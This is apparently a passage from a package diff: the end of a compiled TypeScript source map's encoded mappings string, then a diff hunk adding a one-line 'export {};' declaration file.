QAAQ,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAClC,KAAK,MAAM,EAAE,KAAK,EAAE,GAAG,EAAE,UAAU,EAAE,IAAI,KAAK,EAAE,CAAC;QAC/C,MAAM,EAAE,GAAG,OAAO,CAAC,GAAG,CAAC,KAAK,EAAE,GAAG,CAAqC,CAAC;QACvE,MAAM,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QAC5C,MAAM,CAAC,EAAE,CAAC,MAAM,CAAC,CAAC,IAAI,CAAC,UAAU,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;IAClD,CAAC;IACD,IAAA,qBAAgB,GAAE,CAAC;IACnB,IAAA,qBAAgB,GAAE,CAAC;IACnB,KAAK,MAAM,EAAE,KAAK,EAAE,GAAG,EAAE,UAAU,EAAE,IAAI,KAAK,EAAE,CAAC;QAC/C,MAAM,CAAC,MAAM,CAAC,wBAAwB,CAAC,KAAK,EAAE,GAAG,CAAC,CAAC,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;IAC1E,CAAC;AACH,CAAC,CAAC,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export {};
|